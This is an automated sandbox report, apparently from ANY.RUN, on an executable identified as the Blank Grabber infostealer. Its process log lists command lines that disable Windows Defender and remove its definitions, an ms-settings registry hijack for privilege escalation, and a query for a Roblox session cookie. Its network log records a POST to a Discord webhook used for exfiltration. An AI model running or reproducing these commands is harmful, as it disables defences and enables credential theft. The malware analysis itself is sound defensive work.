| File name: | matcha.exe |
| Full analysis: | https://app.any.run/tasks/9392d2aa-aa87-40a4-8ecd-d01dfb4bab28 |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | January 18, 2025, 19:46:32 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | 0203B66C50FCDA6AB03D559641782548 |
| SHA1: | CB83AB81C3D4E86B7ADAD7F114E6186DFD1E6C72 |
| SHA256: | E0051EC0211D9C8090D3A63038D74863094618A8E971FF1EFC6EBF939615E8F4 |
| SSDEEP: | 98304:mJ3lvu8MhHmOVWjtKxgQSptBNyHHZPthn6YDEp1QFSXG8/AbYpB4RplQ94geo7Hy:WDYCq3pIwbD |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:01:18 17:24:37+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.41 |
| CodeSize: | 172032 |
| InitializedDataSize: | 94208 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.22621.4391 |
| ProductVersionNumber: | 10.0.22621.4391 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Dynamic link library |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | Windows Activation Client |
| FileVersion: | 10.0.22621.4391 (WinBuild.160101.0800) |
| InternalName: | slui.exe |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | slui.exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.22621.4391 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 836 | powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 848 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 848 | C:\WINDOWS\system32\cmd.exe /c "systeminfo" | C:\Windows\System32\cmd.exe | — | matcha.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1468 | C:\WINDOWS\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" | C:\Windows\System32\cmd.exe | — | matcha.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1468 | C:\WINDOWS\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" | C:\Windows\System32\cmd.exe | — | matcha.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1476 | powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1580 | C:\WINDOWS\system32\cmd.exe /c "reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "C:\Users\admin\Desktop\matcha.exe" /f" | C:\Windows\System32\cmd.exe | — | matcha.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1668 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1804 | powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1828 | wmic computersystem get totalphysicalmemory | C:\Windows\System32\wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: WMI Commandline Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (4556) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | write | Name: | DelegateExecute |
Value: | |||
| (PID) Process: | (4052) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (4052) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (4052) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (4052) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (3996) matcha.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
| (PID) Process: | (6212) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdHigh |
Value: 31156705 | |||
| (PID) Process: | (6212) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdLow |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_bz2.pyd | executable | |
MD5:86D1B2A9070CD7D52124126A357FF067 | SHA256:62173A8FADD4BF4DD71AB89EA718754AA31620244372F0C5BBBAE102E641A60E | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_hashlib.pyd | executable | |
MD5:D4674750C732F0DB4C4DD6A83A9124FE | SHA256:CAA4D2F8795E9A55E128409CC016E2CC5C694CB026D7058FC561E4DD131ED1C9 | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_decimal.pyd | executable | |
MD5:20C77203DDF9FF2FF96D6D11DEA2EDCF | SHA256:9AAC010A424C757C434C460C3C0A6515D7720966AB64BAD667539282A17B4133 | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_queue.pyd | executable | |
MD5:D8C1B81BBC125B6AD1F48A172181336E | SHA256:925F05255F4AAE0997DC4EC94D900FD15950FD840685D5B8AA755427C7422B14 | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_lzma.pyd | executable | |
MD5:7447EFD8D71E8A1929BE0FAC722B42DC | SHA256:60793C8592193CFBD00FD3E5263BE4315D650BA4F9E4FDA9C45A10642FD998BE | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_socket.pyd | executable | |
MD5:819166054FEC07EFCD1062F13C2147EE | SHA256:E6DEB751039CD5424A139708475CE83F9C042D43E650765A716CB4A924B07E4F | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\_ctypes.pyd | executable | |
MD5:1635A0C5A72DF5AE64072CBB0065AEBE | SHA256:1EA3DD3DF393FA9B27BF6595BE4AC859064CD8EF9908A12378A6021BBA1CB177 | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\VCRUNTIME140.dll | executable | |
MD5:F34EB034AA4A9735218686590CBA2E8B | SHA256:9D2B40F0395CC5D1B4D5EA17B84970C29971D448C37104676DB577586D4AD1B1 | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\blank.aes | binary | |
MD5:63E8DE14EB6B678348D32371EEFE33BB | SHA256:59661DCE36E93CC99CE1459D4CBE13D99A6F3A14DDF0BE62DF605BDBDE95DD10 | |||
| 4504 | matcha.exe | C:\Users\admin\AppData\Local\Temp\_MEI45042\libssl-1_1.dll | executable | |
MD5:BEC0F86F9DA765E2A02C9237259A7898 | SHA256:D74CE01319AE6F54483A19375524AA39D9F5FD91F06CF7DF238CA25E043130FD | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
3040 | svchost.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3040 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3996 | matcha.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | shared |
— | — | GET | 204 | 142.250.186.131:443 | https://gstatic.com/generate_204 | unknown | — | — | — |
3996 | matcha.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | shared |
— | — | POST | 404 | 162.159.128.233:443 | https://discord.com/api/webhooks/1330226093550206996/a8emm0VrRIx86OCeuEEJgNK32iVb8RrWSJzBVvAy9X13tap57bGLZI1cqnOD56tqqGKv | unknown | binary | 45 b | — |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 2.23.227.208:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3040 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4712 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3040 | svchost.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3040 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
blank-8w2cp.in |
| unknown |
ip-api.com |
| shared |
gstatic.com |
| whitelisted |
discord.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2192 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2192 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
3996 | matcha.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
3996 | matcha.exe | Device Retrieving External IP Address Detected | ET POLICY External IP Lookup ip-api.com |
2192 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
3996 | matcha.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |
3996 | matcha.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |